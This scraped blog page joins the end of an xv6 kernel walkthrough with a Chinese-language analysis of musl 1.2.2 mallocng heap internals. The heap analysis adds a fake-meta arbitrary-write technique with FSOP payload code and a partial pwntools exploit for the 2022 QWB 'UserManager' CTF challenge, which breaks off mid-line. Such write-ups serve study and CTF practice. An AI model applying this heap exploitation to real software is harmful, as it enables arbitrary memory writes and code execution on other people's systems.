kernel/console.c1234567891011voidconsputc(int c){ if(c == BACKSPACE){ // 如果是退格,那么就输出先退格,输出一个空格,再退格 uartputc_sync('\\b'); uartputc_sync(' '); uartputc_sync('\\b'); } else { // 否则直接输出 uartputc_sync(c); }} 传递给硬件寄存器具体在 kernel/uart.c 的 uartputc_sync 函数中 kernel/uart.c1234567891011121314151617181920voiduartputc_sync(int c){ // 关闭硬件中断 push_off(); if(panicked){ for(;;) ; } // 等待之前的字符传输完成,硬件准备接收字符 while((ReadReg(LSR) & LSR_TX_IDLE) == 0) ; // 把字符写入硬件用于接收字符的寄存器中 WriteReg(THR, c); // 开启硬件中断 pop_off();} printf接下来看看 printf 代码实现 kernel/printf.c1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162voidprintf(char *fmt, ...){ va_list ap; int i, c, locking; char *s; // 加锁 locking = pr.locking; if(locking) acquire(&pr.lock); if (fmt == 0) panic("null fmt"); // 初始化 ap va_start(ap, fmt); // 遍历 fmt for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ if(c != '%'){ consputc(c); continue; } c = fmt[++i] & 0xff; if(c == 0) break; switch(c){ // 如果前一个是 % 接下来根据后面的字母获取对应类型的变量 case 'd': printint(va_arg(ap, int), 10, 1); break; case 'x': printint(va_arg(ap, int), 16, 1); break; case 'p': printptr(va_arg(ap, uint64)); break; case 's': if((s = va_arg(ap, char*)) == 0) s = "(null)"; for(; *s; s++) consputc(*s); break; case '%': consputc('%'); break; default: // 如果是不支持的字母,则直接输出 % 和字母 consputc('%'); consputc(c); break; } } // 释放内存 va_end(ap); // 解锁 if(locking) release(&pr.lock);} 其实逻辑挺简单的 参考揭秘X86架构C可变参数函数实现原理:其实这篇文章所说的 x86 指的是 x86_64 怎么成功创建一个进程#todo 怎么实现页表的创建与更新#todo 怎么实现虚拟地址映射#todo 怎么实现线程切换","link":"/2023/05/23/Xv6%20%E5%89%96%E6%9E%90/"},{"title":"Musl heap 浅析","text":"浅浅分析一下 前言环境:x64 musl-1.2.2 笔者只浅浅分析了 malloc 和 free 的源码,对相关结构没有详细介绍,可配合 xf1les 师傅的文章食用 相关结构chunk实际上源码并没有 chunk 结构体定义,下面是通过 malloc 推测出来 1234567struct chunk { char prev_data[4]; uint8_t idx:5; // group 的第几个 chunk,从 0 开始 uint8_t reserved:3; // chunk 没有用到的空间大小,若 reserved = 5,那么会在下一个 chunk 的 prev_data 中记录真实的 reserved uint16_t offset; // 相对于第一个 chunk 的偏移,实际地址偏移为 offset * 0x10 char data[]; // 用户数据}; prev_data 空间复用,前一个 chunk 可以多使用 4 个字节 idx group 的第几个 chunk,从 0 开始 reserved chunk 没有用到的空间大小 若 reserved == 5,那么会在下一个 chunk 的 prev_data 中记录真实的 reserved offset 相对于第一个 chunk 的偏移,实际地址偏移为 offset * 0x10 由于内存对齐,每个 chunk 可以使用下一个 chunk 的 4 字节空间 (每个 group 的第一个 chunk 前面有 0x10 个字节 = group + chunk_header) inuse_chunkavail_mask 和 freed_mask 对应的位置都为 0 unuse_chunk avail_chunk 内容一般为空 avail_mask 上 idx 对应的位置为 1 freed_chunk idx 和 reserved 置为 0xff,offset 置零 freed_mask 上 idx 对应的位置为 1 group./src/malloc/mallocng/meta.h1234567#define UNIT 16struct group { struct meta *meta; // 对应的 meta 地址 unsigned char active_idx:5; // last_chunk_idx char pad[UNIT - sizeof(struct meta *) - 1]; // alien unsigned char storage[]; // chunks}; 由 meta 管理,位于可执行文件的数据段 meta 对应的 meta 地址 active_idx 可用的 chunk 的最大 idx pad 填充位,用于对齐 storage 存储数据,chunks meta./src/malloc/mallocng/meta.h123456789struct meta { struct meta *prev, *next; // 同类型且可分配 chunk 的 meta 或 freed_meta 以双向链表的形式连接 struct group *mem; // 指向对应的 group 地址 volatile int avail_mask, freed_mask; // 以位图方式表示 group 中 chunk 状态 uintptr_t last_idx:5; // group 中 chunk 数量 uintptr_t freeable:1; // meta 是否可以被回收,1 表示可以 uintptr_t sizeclass:6; // 作为 size_classes 的下标,为该 group 中每个 chunk 大小(Byte) uintptr_t maplen:8*sizeof(uintptr_t)-12;}; prev,next 同类型且可分配 chunk 的 meta 或 freed_meta 以双向链表的形式连接 mem 指向对应的 group 地址 avail_mask,freed_mask 以位图方式表示 group 中 chunk 状态,因此一个 group 最多能有 32 个 chunk 0 表示 inuse,1 表示 avail 或 freed chunk 分为 inuse_chunk、avail_chunk、freed_chunk 三个状态 last_idx group 中 chunk 数量 freeable meta 是否可以被回收,1 表示可以 sizeclass 作为 size_classes 的下标,为该 group 中每个 chunk 大小(Byte) ./src/malloc/mallocng/malloc.c1234567891011121314const uint16_t size_classes[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 15, 18, 20, 25, 31, 36, 42, 50, 63, 72, 84, 102, 127, 146, 170, 204, 255, 292, 340, 409, 511, 584, 682, 818, 1023, 1169, 1364, 1637, 2047, 2340, 2730, 3276, 4095, 4680, 5460, 6552, 8191,}; maplen 若 group 是 mmap 分配的空间,为对应的长度,其他情况为 0 avail_meta在 meta_area 中按顺序取出,avail_meta = {0} freed_meta FIFO,malloc_context 中 freed_meta_head 指向第一个 freed_meta meta->mem->meta = 0 freed_meta = {0} meta_area./src/malloc/mallocng/meta.h123456struct meta_area { uint64_t check; // 与 malloc_context 中的 secret 相等,防止伪造 meta struct meta_area *next; // 下一个 meta_area 的地址 int nslots; // meta 槽的数量 struct meta slots[]; // metas}; 以页为单位分配,是多个 meta 的集合,因此 meta_area_addr = meta_addr & 0xfffffffffffff000 check 与 malloc_context 中的 secret 相等,防止伪造 meta next 下一个 meta_area 的地址 nslots meta 槽的数量 注:在 musl 中 slot 可能指 meta 也可能指 chunk slots 存放多个 meta 结构体,metas malloc_context./src/malloc/mallocng/meta.h123456789101112131415161718struct malloc_context { uint64_t secret; // 防止伪造 meta#ifndef PAGESIZE size_t pagesize;#endif int init_done; // 是否初始化的标记 unsigned mmap_counter; // 记录 mmap 出来的 chunk 的数量 struct meta *free_meta_head; // 指向 freed_meta 头 struct meta *avail_meta; // 指向 area_areas 中可分配 meta 空间 size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head, *meta_area_tail; // 分别指向第一个和最后一个 meta_area unsigned char *avail_meta_areas; struct meta *active[48]; // 可以分配的 meta 地址,idx 对应着 size_classes 的大小,类似 glibc 的 bins size_t usage_by_class[48]; // idx 对应大小的所有 meta 的 chunk 数量 uint8_t unmap_seq[32], bounces[32]; uint8_t seq; uintptr_t brk; // 记录目前的 brk(0)}; 位于 libc 的数据段,为全局结构体 secret 防止伪造 meta free_meta_head 指向 freed_meta 头 avail_meta 指向可用 meta 数组 active 指向一个 meta 双向链表,其中的 meta 一般都有 unuse_chunk idx 对应着 size_classes 的大小,类似 glibc 的 bins 指向的第一个 meta 一般有 avail_chunk,后面的 meta 一般只有 freed_chunk usage_by_class idx 对应大小的所有 meta 的 group 管理的 chunk 数量 brk 记录目前的 brk(0) chunk -> meta./src/malloc/mallocng/meta.h1234567891011121314151617181920212223242526272829303132static inline struct meta *get_meta(const unsigned char *p){ assert(!((uintptr_t)p & 15)); int offset = *(const uint16_t *)(p - 2); int index = get_slot_index(p); if (p[-4]) { assert(!offset); offset = *(uint32_t *)(p - 8); assert(offset > 0xffff); } const struct group *base = (const void *)(p - UNIT*offset - UNIT); const struct meta *meta = base->meta; /* check */ assert(meta->mem == base); assert(index <= meta->last_idx); assert(!(meta->avail_mask & (1u<<index))); assert(!(meta->freed_mask & (1u<<index))); const struct meta_area *area = (void *)((uintptr_t)meta & -4096); assert(area->check == ctx.secret); if (meta->sizeclass < 48) { assert(offset >= size_classes[meta->sizeclass]*index); assert(offset < size_classes[meta->sizeclass]*(index+1)); } else { assert(meta->sizeclass == 63); } if (meta->maplen) { assert(offset <= meta->maplen*4096UL/UNIT - 1); }/* end */ return (struct meta *)meta;} 取 chunk 的 idx 和 offset 通过 offset 取 group 通过 group->meta 取 meta 各种检查 meta->mem == group idx <= meta->last_idx meta 的 mask 上 idx 对应的位置是否都为 0 meta_area->check == malloc_context.secret size_classes[meta->sizeclass]*(index) <= offset < size_classes[meta->sizeclass]*(index+1) 大概总结一下 malloc_context 作为全局变量,在 libc 数据段 meta_area 作为 meta 的集合,管理着 meta 同类型 且 有可分配 chunk 的 meta 以双向链表形式连接起来,如果 meta 的 chunk 全部分配出去,则会从双向链表中移出 malloc 时,通过 malloc_context 的 active 寻找对应大小的可使用的 meta,类似 glibc 的 bins malloc_context 的 active 指向的第一个 meta 一般是有 avail_chunk 或者 freed_chunk(或所有 chunk 刚好分配完),此 meta 后面的 meta 一般只有 freed_chunk malloc_context 的 freed_meta_head 指向 freed_meta 链表 mallocmalloc./src/malloc/mallocng/malloc.c123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108void *malloc(size_t n){ if (size_overflows(n)) return 0; struct meta *g; uint32_t mask, first; // sizeclass int sc; int idx; int ctr; // mmap 分配 // #define MMAP_THRESHOLD 131052 if (n >= MMAP_THRESHOLD) { size_t needed = n + IB + UNIT; void *p = mmap(0, needed, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (p==MAP_FAILED) return 0; wrlock(); step_seq(); g = alloc_meta(); if (!g) { unlock(); munmap(p, needed); return 0; } g->mem = p; g->mem->meta = g; g->last_idx = 0; g->freeable = 1; g->sizeclass = 63; g->maplen = (needed+4095)/4096; g->avail_mask = g->freed_mask = 0; // use a global counter to cycle offset in // individually-mmapped allocations. ctx.mmap_counter++; idx = 0; goto success; } // 根据 n 取 size_classes 对应大小的下标 sc = size_to_class(n); rdlock(); /* 寻找合适的 meta */ // 获取对应大小的 meta g = ctx.active[sc]; // use coarse size classes initially when there are not yet // any groups of desired size. this allows counts of 2 or 3 // to be allocated at first rather than having to start with // 7 or 5, the min counts for even size classes. // 如果没有对应的 meta,且 4 <= sc < 32 且 sc !=6 且 sc 为偶数 且对应大小的所有 chunk 数量为 0 if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) { // 使用更大一点(sc+1)的 meta size_t usage = ctx.usage_by_class[sc|1]; // if a new group may be allocated, count it toward // usage in deciding if we can use coarse class. // 如果 sc+1 对应的 meta 也不存在或存在但没有可用的 chunk 则 usage+3 if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask && !ctx.active[sc|1]->freed_mask)) usage += 3; // 如果 usage <= 12 则 sc+1 if (usage <= 12) sc |= 1; g = ctx.active[sc]; }/* end *//* 寻找可分配的 chunk */ for (;;) { mask = g ? g->avail_mask : 0; // 取最低位的 1,即取可用的 idx 最小的 chunk,没有则为 0 first = mask&-mask; // 若无可用 chunk,则跳出循环 if (!first) break; // 若没有其他问题,则在 avail_mask 中将对应 chunk 的那一 bit 位置零 if (RDLOCK_IS_EXCLUSIVE || !MT) g->avail_mask = mask-first; else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) continue; // 计算出对应的 chunk idx idx = a_ctz_32(first); goto success; } upgradelock(); // 如果没有合适的 chunk,则进一步分配,获取 chunk 下标 idx = alloc_slot(sc, n); if (idx < 0) { unlock(); return 0; } // 更新为即将使用的 meta g = ctx.active[sc];/* end */ success: ctr = ctx.mmap_counter; unlock(); return enframe(g, idx, n, ctr);} 将 size 转化为对应的 size_classes 的下标 sc 取 ctx.active[sc] 第一个 meta,取其 avail_mask 中 idx 最小的 chunk 如果没有则进入 alloc_slot 做进一步分配 alloc_slot./src/malloc/mallocng/malloc.c12345678910111213static int alloc_slot(int sc, size_t req){ uint32_t first = try_avail(&ctx.active[sc]); if (first) return a_ctz_32(first); // 如果链表中都没有可用的 chunk,则重新申请一个 group struct meta *g = alloc_group(sc, req); if (!g) return -1; g->avail_mask--; queue(&ctx.active[sc], g); return 0;} 进入 try_avail 尝试从 ctx.active[sc] 对应的 meta 链表中寻找可分配的 chunk 没有则进入 alloc_group 再申请一个 meta 和 group try_avail./src/malloc/mallocng/malloc.c123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869static uint32_t try_avail(struct meta **pm){ struct meta *m = *pm; uint32_t first; if (!m) return 0; uint32_t mask = m->avail_mask; // 若没有可分配的 chunk if (!mask) { if (!m) return 0; if (!m->freed_mask) { /* 且也没有 freed chunk,即 group 中的 chunk 都是 inuse 则将该 meta 从 ctx.active[sc] 和 双向链表中移除 */ dequeue(pm, m); m = *pm; if (!m) return 0; } else { // 优先使用下一个 meta 的 freed_chunk m = m->next; *pm = m; } mask = m->freed_mask; // skip fully-free group unless it's the only one // or it's a permanently non-freeable group // 跳过所有 chunk 都是 freed_chunk 且可 free 的 meta,一般不会出现这个情况 if (mask == (2u<<m->last_idx)-1 && m->freeable) { m = m->next; *pm = m; mask = m->freed_mask; } // activate more slots in a not-fully-active group // if needed, but only as a last resort. prefer using // any other group with free slots. this avoids // touching & dirtying as-yet-unused pages. /* 总结起来就是,如果第一个 meta 的 chunk 都是 inuse, 且第二个 meta 的 freed_chunk 使用完了,才进入下面的操作 可能是什么特殊情况,正常不会出现这个情况*/ if (!(mask & ((2u<<m->mem->active_idx)-1))) { if (m->next != m) { m = m->next; *pm = m; } else { int cnt = m->mem->active_idx + 2; int size = size_classes[m->sizeclass]*UNIT; int span = UNIT + size*cnt; // activate up to next 4k boundary while ((span^(span+size-1)) < 4096) { cnt++; span += size; } if (cnt > m->last_idx+1) cnt = m->last_idx+1; m->mem->active_idx = cnt-1; } } // 将 freed_mask 转为 avail_mask mask = activate_group(m); assert(mask); decay_bounces(m->sizeclass); } first = mask&-mask; m->avail_mask = mask-first; return first;} 若 active 第一个 meta 的 chunk 都是 inuse,则将此 meta 从 active 和 链表中移出 将 active 第一个 meta 设置为下一个 meta 将其 freed_mask 转为 avail_mask 使用 取 avail_mask 中 idx 最小的 chunk queue./src/malloc/mallocng/meta.h1234567891011121314static inline void queue(struct meta **phead, struct meta *m){ assert(!m->next); assert(!m->prev); if (*phead) { struct meta *head = *phead; m->next = head; m->prev = head->prev; m->next->prev = m->prev->next = m; } else { m->prev = m->next = m; *phead = m; }} dequeue./src/malloc/mallocng/meta.h1234567891011static inline void dequeue(struct meta **phead, struct meta *m){ if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0; } m->prev = m->next = 0;} 如果能够伪造 meta,可以任意地址写 alloc_group./src/malloc/mallocng/malloc.c123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123static struct meta *alloc_group(int sc, size_t req){ size_t size = UNIT*size_classes[sc]; int i = 0, cnt; unsigned char *p; // 优先寻找 freed_meta,将其从 ctx.free_meta_head 移除 // 若没有就从 meta_area 中按地址从低到高顺序取一个 // 如果 meta_area 满了,则再申请一个 meta_area // 会将 meta 的 prev,next 置零 struct meta *m = alloc_meta(); if (!m) return 0; size_t usage = ctx.usage_by_class[sc]; size_t pagesize = PGSZ; int active_idx; /* 设置 cnt,也就是 group 能容纳 chunk 最大数量 */ if (sc < 9) { while (i<2 && 4*small_cnt_tab[sc][i] > usage) i++; cnt = small_cnt_tab[sc][i]; } else { // lookup max number of slots fitting in power-of-two size // from a table, along with number of factors of two we // can divide out without a remainder or reaching 1. cnt = med_cnt_tab[sc&3]; // reduce cnt to avoid excessive eagar allocation. while (!(cnt&1) && 4*cnt > usage) cnt >>= 1; // data structures don't support groups whose slot offsets // in units don't fit in 16 bits. while (size*cnt >= 65536*UNIT) cnt >>= 1; }/* end */ // If we selected a count of 1 above but it's not sufficient to use // mmap, increase to 2. Then it might be; if not it will nest. if (cnt==1 && size*cnt+UNIT <= pagesize/2) cnt = 2; // All choices of size*cnt are "just below" a power of two, so anything // larger than half the page size should be allocated as whole pages. if (size*cnt+UNIT > pagesize/2) { // check/update bounce counter to start/increase retention // of freed maps, and inhibit use of low-count, odd-size // small mappings and single-slot groups if activated. int nosmall = is_bouncing(sc); account_bounce(sc); step_seq(); // since the following count reduction opportunities have // an absolute memory usage cost, don't overdo them. count // coarse usage as part of usage. if (!(sc&1) && sc<32) usage += ctx.usage_by_class[sc+1]; // try to drop to a lower count if the one found above // increases usage by more than 25%. these reduced counts // roughly fill an integral number of pages, just not a // power of two, limiting amount of unusable space. if (4*cnt > usage && !nosmall) { if (0); else if ((sc&3)==1 && size*cnt>8*pagesize) cnt = 2; else if ((sc&3)==2 && size*cnt>4*pagesize) cnt = 3; else if ((sc&3)==0 && size*cnt>8*pagesize) cnt = 3; else if ((sc&3)==0 && size*cnt>2*pagesize) cnt = 5; } size_t needed = size*cnt + UNIT; needed += -needed & (pagesize-1); // produce an individually-mmapped allocation if usage is low, // bounce counter hasn't triggered, and either it saves memory // or it avoids eagar slot allocation without wasting too much. if (!nosmall && cnt<=7) { req += IB + UNIT; req += -req & (pagesize-1); if (req<size+UNIT || (req>=4*pagesize && 2*cnt>usage)) { cnt = 1; needed = req; } } p = mmap(0, needed, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (p==MAP_FAILED) { free_meta(m); return 0; } m->maplen = needed>>12; ctx.mmap_counter++; active_idx = (4096-UNIT)/size-1; if (active_idx > cnt-1) active_idx = cnt-1; if (active_idx < 0) active_idx = 0; } else { int j = size_to_class(UNIT+cnt*size-IB); // 从大 group 中申请小 group,大 group 的 chunk 作为整个小 group,是一个递归过程 int idx = alloc_slot(j, UNIT+cnt*size-IB); if (idx < 0) { free_meta(m); return 0; } struct meta *g = ctx.active[j]; p = enframe(g, idx, UNIT*size_classes[j]-IB, ctx.mmap_counter); m->maplen = 0; p[-3] = (p[-3]&31) | (6<<5); for (int i=0; i<=cnt; i++) p[UNIT+i*size-4] = 0; active_idx = cnt-1; } // 增加可用 chunk 个数 ctx.usage_by_class[sc] += cnt; // 初始化 meta 和 group m->avail_mask = (2u<<active_idx)-1; m->freed_mask = (2u<<(cnt-1))-1 - m->avail_mask; m->mem = (void *)p; m->mem->meta = m; // group 的 active_idx 和 meta 的 last_idx 一般是相等的,为 cnt-1 m->mem->active_idx = active_idx; m->last_idx = cnt-1; m->freeable = 1; m->sizeclass = sc; return m;} emframe./src/malloc/mallocng/meta.h123456789101112131415161718192021222324252627282930313233343536373839404142434445static inline void *enframe(struct meta *g, int idx, size_t n, int ctr){ // 获取 chunk 大小 size_t stride = get_stride(g); // 计算 chunk 多余空间 size_t slack = (stride-IB-n)/UNIT; // p 指向 chunk 的 data 起始位置 unsigned char *p = g->mem->storage + stride*idx; unsigned char *end = p+stride-IB; // cycle offset within slot to increase interval to address // reuse, facilitate trapping double-free./* check */ // p[-3] = chunk_idx // *(uint16_t *)(p-2) = chunk_offset // 取 chunk 的 offset,一般为 0 int off = (p[-3] ? *(uint16_t *)(p-2) + 1 : ctr) & 255; assert(!p[-4]); if (off > slack) { size_t m = slack; m |= m>>1; m |= m>>2; m |= m>>4; off &= m; if (off > slack) off -= slack+1; assert(off <= slack); } if (off) { // store offset in unused header at offset zero // if enframing at non-zero offset. *(uint16_t *)(p-2) = off; p[-3] = 7<<5; p += UNIT*off; // for nonzero offset there is no permanent check // byte, so make one. p[-4] = 0; }/* end */ // 设置 offset 和 idx *(uint16_t *)(p-2) = (size_t)(p-g->mem->storage)/UNIT; p[-3] = idx; // 设置 reserved set_size(p, end, n); return p;} 总结一下以下为一般情况的流程,省略了特殊情况 检查申请的 size 如果 size 达到需要 mmap 的阈值 直接调用 mmap,返回的地址作为 group 获取并初始化 meta last_idx = 0,只有一个 chunk,因此它不会再 ctx.active 中 sizeclass = 63 maplen = (size + 4 + 0x10 + 4095) / 4096 avail_mask = freed_mask = 0 ctx.mmap_counter++ 进入 success 没有则调用 size_to_class 将 size 计算为对应的 sc(sizeclass) 获取对应的 meta 取 sc 对应大小的可分配的 meta(ctx.active[sc]) 若不存在满足下列所有条件会取稍大一点的 meta 4<= sc <32 sc != 6 sc 为偶数 对应大小的所有 chunk 数量为 0(没有对应大小的 meta) 获取 chunk 的 idx 取 meta 的第一个 avail_chunk 若 avail_chunk 存在 将 avail_mask 上对应的位置置零 进入 success 进入 alloc_slot 进行进一步申请 调用 try_avail 尝试 ctx.active[sc] 链表中的所有 meta 检查第一个 meta 的 freed_mask 若 freed_mask 为 0,会调用 **dequeue**,将其移除 ctx.active[sc] 因为第一个 meta 没有 unuse_chunk 将下一个 meta 切换为第一个 meta(ctx.active[sc] = m->next) 将 meta 的 freed_mask 转为 avail_mask 取 meta 的第一个 avail_chunk,将 avail_mask 上对应的位置置零 返回第一个 avail_chunk 对应的 avail_mask 位置 注:下一个 meta 可能是它自己(循环),如果没有 unused_mask,最终会返回 0 如果 try_avail 返回 0,会调用 alloc_group 申请一个新的 group 先调用 alloc_meta 申请一个 meta,优先取 freed_meta 再从 meta_area 中取新的 新的 group 一般取更大的 chunk 作为整个 group,是一个递归过程 meta 的 avail_mask 减一,即使用第一个 chunk 调用 queue 将 meta 放入 ctx.active[sc] 进入 success 调用 enframe 对 chunk 初始化 (unsigned char*) p[-3] = idx *(uint16_t) (p - 2) = offset 设置 reserved 总结简单版分配 chunk 顺序 ctx.active[sc] -> avail_mask malloc_context.active 对应大小的 meta 中的 avail_chunk ctx.active[sc] -> next -> freed_mask malloc_context.active 对应大小的 meta 的 下一个 meta 中的 freed_chunk 如果 ctx.active[sc] 的 chunk 都是 inuse,则会调用 **dequeue**,将其移出 active 和链表 先把 freed_mask 转为 avail_mask,然后将 ctx.active[sc] 设为该 meta ctx.active[sc] -> freed_mask malloc_context.active 对应大小的 meta 中的 freed_chunk new_meta -> avail_mask 申请一个新的 meta,取其 avail_chunk freefree./src/malloc/mallocng/free.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546void free(void *p){ if (!p) return; struct meta *g = get_meta(p); int idx = get_slot_index(p); size_t stride = get_stride(g); unsigned char *start = g->mem->storage + stride*idx; unsigned char *end = start + stride - IB; // 检查 reserved get_nominal_size(p, end); uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1; // idx 和 reserved 置 0xff,offset 置 0 ((unsigned char *)p)[-3] = 255; // invalidate offset to group header, and cycle offset of // used region within slot if current offset is zero. *(uint16_t *)((char *)p-2) = 0; // release any whole pages contained in the slot to be freed // unless it's a single-slot group that will be unmapped. if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) { unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1)); size_t len = (end-base) & -PGSZ; if (len) madvise(base, len, MADV_FREE); } // atomic free without locking if this is neither first or last slot for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; assert(!(mask&self)); // 如果没有 freed_chunk 或者都是 unuse_chunk,则跳出循环 if (!freed || mask+self==all) break; if (!MT) g->freed_mask = freed+self; else if (a_cas(&g->freed_mask, freed, freed+self)!=freed) continue; return; } wrlock(); struct mapinfo mi = nontrivial_free(g, idx); unlock(); if (mi.len) munmap(mi.base, mi.len);} 如果其他 chunk 都不是 freed_chunk 或者都是 unuse_chunk 则会 进入 nontrivial_free nontrivial_free./src/malloc/mallocng/free.c1234567891011121314151617181920212223242526272829303132static struct mapinfo nontrivial_free(struct meta *g, int i){ uint32_t self = 1u<<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask; // 一般情况,只要所有 chunk 都是 unuse,就会 free meta 和 group if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { // any multi-slot group is necessarily on an active list // here, but single-slot groups might or might not be. if (g->next) { assert(sc < 48); int activate_new = (ctx.active[sc]==g); dequeue(&ctx.active[sc], g); // 将下一个 meta 的 freed_chunk 转为 avail_chunk if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); } else if (!mask) { // 如果 meta 不在 active 里,则放入 actvie 中 assert(sc < 48); // might still be active if there were no allocations // after last available slot was taken. if (ctx.active[sc] != g) { queue(&ctx.active[sc], g); } } // g->freed_mask = g->free_mask & self a_or(&g->freed_mask, self); return (struct mapinfo){ 0 };} 所有 chunk 都是 unuse_chunk 将该 meta 从 active 和链表中移除 将链表的下一个 meta 的 freed_chunk 转为 avail_chunk free 该 meta 和 group 没有 freed_chunk 将该 meta 插入 active 的链表尾部 free_group./src/malloc/mallocng/free.c1234567891011121314151617181920212223static struct mapinfo free_group(struct meta *g){ struct mapinfo mi = { 0 }; int sc = g->sizeclass; if (sc < 48) { ctx.usage_by_class[sc] -= g->last_idx+1; } if (g->maplen) { step_seq(); record_seq(sc); mi.base = g->mem; mi.len = g->maplen*4096UL; } else { void *p = g->mem; struct meta *m = get_meta(p); int idx = get_slot_index(p); g->mem->meta = 0; // not checking size/reserved here; it's intentionally invalid mi = nontrivial_free(m, idx); } free_meta(g); return mi;} 总结一下 获取 chunk 的 meta、idx、sc 检查 reserved idx 和 reserved 置为 0xff,offset 置零 检查 avail_mask 和 freed_mask 若存在 freed_chunk 且有其他的 inuse_chunk 将 freed_mask 上该 chunk 对应的位置设为 1 结束 free 函数 否则进入下一步 调用 nontrivial_free 函数做进一步处理 如果所有 chunk 都是 unuse_chunk 如果 meta 的 next 存在,调用 dequeue 将 meta 从 ctx.active[sc] 中移出 free 掉 meta 和 group 结束 free 函数 如果其他 chunk 都是 inuse_chunk 且 meta 不在 ctx.artive[sc] 中 调用 queue 将 meta 放入 ctx.active[sc] 将 freed_mask 上该 chunk 对应的位置设为 1 关键dequeue./src/malloc/mallocng/meta.h1234567891011static inline void dequeue(struct meta **phead, struct meta *m){ if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0; } m->prev = m->next = 0;} 几乎没有任何检查,如果能够伪造 meta,可以任意地址写 调用途径 malloc -> try_avail -> dequeue free -> nontrivial_free -> dequeue 利用 泄露一些重要信息 大部分都可以从 malloc_context 中获取 libc 基址 secret 伪造 meta_area、area、group、chunk 下面是一些伪造的硬性要求或者建议 meta_area 因为 get_meta 时会检查 secret 防止伪造,而检查时取 meta_area 地址是取 area 所在页的地址,因此伪造的 meta_area 地址后 12 位都要为 0,一般通过 mmap 伪造 check == malloc_context.secret area prev,next 改成想写的位置 mem == fake_group last_idx == 0,一般只需要伪造一个 chunk,这样 free fake_chunk 时直接能进入 nontrivial_free avail_mask,freed_mask 全为 0 即可(因为只有一个将要 free 的 fake_chunk) sc < 48 freeable == 1 maplen != 0,否则在 free_group 会进行递归 free,随便取个值就行 group meta == fake_meta active_idx == 0 chunk 一般是 fake_fike 或者其他垃圾数据 下面的例子是将 ofl_head 指向 fake_chunk(fake_file),exit 时就可以导致 FSOP 12345678910111213141516171819202122last_idx = 0freeable = 1sc = 8maplen = 1fake_meta = p64(addr_fake_chunk) # prevfake_meta += p64(addr_ofl_head) # next fake_meta += p64(addr_fake_group) # memfake_meta += p64(0) # avail & freed maskfake_meta += p64(maplen << 12 | sc << 6 | freeable << 5 | last_idx)active_idx = 0fake_group = p64(addr_fake_meta)fake_group += p64(active_idx)# fake_filefake_chunk = b"/bin/sh\\x00"fake_chunk += p64(0) * 7fake_chunk += p64(addr_system) * 7fake_meta_area = p64(secret) # checkfake_meta_area += p64(0) # nextfake_meta_area += p64(1) # nsolts 2022 qwb UserManager这里只要会堆风水就行,不需要伪造就可以任意地址写一次 12345678910111213141516171819202122232425262728void __fastcall insert(User *newUser, User *users){ while ( users ) { // UAF if ( newUser->id == users->id ) { newUser->flag = users->flag; newUser->leftUser = users->leftUser; newUser->rightUser = users->rightUser; newUser->parentUser = users->parentUser; if ( users->leftUser ) users->leftUser->parentUser = newUser; if ( users->rightUser ) users->rightUser->parentUser = newUser; if ( users->parentUser != (User *)0xDEADBEEFLL ) { if ( users == users->parentUser->leftUser ) users->parentUser->leftUser = newUser; else users->parentUser->rightUser = newUser; } free(users->name); free(users); return; } ...} 在添加 user 的时候,如果有 id 相同的 user,会把原来的 user 释放掉,但是 users 会指向原来的 user,造成 UAF 先泄露出 libc 和 elf 地址 上面的第 13 行可以任意地址写一次,把 ofl_head 修改到可控位置 伪造 fake_file 最后 exit 进行 FSOP 最后写 fake_file 的时候要多次堆风水 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576from pwn import *# p = remote('', )p = process('./' + __file__[0:-3])context(arch='amd64', os='linux', log_level='debug')elf = ELF(__file__[0:-3])libc = ELF("./libc.so")addr_insert = elf.sym["insert"]def add(id, length, name): p.recvuntil(b": ") p.sendline(b"1") p.recvuntil(b"Id: ") p.sendline(str(id)) p.recvuntil(b"length: ") p.sendline(str(length)) p.recvuntil(b"UserName: ") p.send(name)def check(id): p.recvuntil(b": ") p.sendline(b"2") p.recvuntil(b"Id: ") p.sendline(str(id))def delete(id): p.recvuntil(b": ") p.sendline(b"3") p.recvuntil(b"Id: ") p.sendline(str(id))def clear(): p.recvuntil(b": ") p.sendline(b"4")def fengshui(times=1, length=0x8, name="aaad\\n", id=0): for _ in range(times): add(id, length, name) id += 1# gdb.attach(p)## leak addradd(0x100, 0x38, "aaad\\n") # usersadd(0x100, 0x8, "aaad\\n")fengshui(6)check(0x100)addr_elf = u64(p.recv(0x10)[-8:]) - 0x5ca0addr_libc = u64(p.recv(0x20)[-8:]) - 0xb7d60print("-> addr_elf = ", hex(addr_elf))print("-> addr_libc = ", hex(addr_libc))addr_system = addr_libc + libc.sym["system"]addr_ofl_head = addr_libc + 0xb6e48## write ofl_head to fake_fileclear()add(0x6873, 0x38, "aaad\\n") # usersadd(0x6873, 0x8, "aaad\\n")fengshui(6)fake_user = p64(0x6873) + 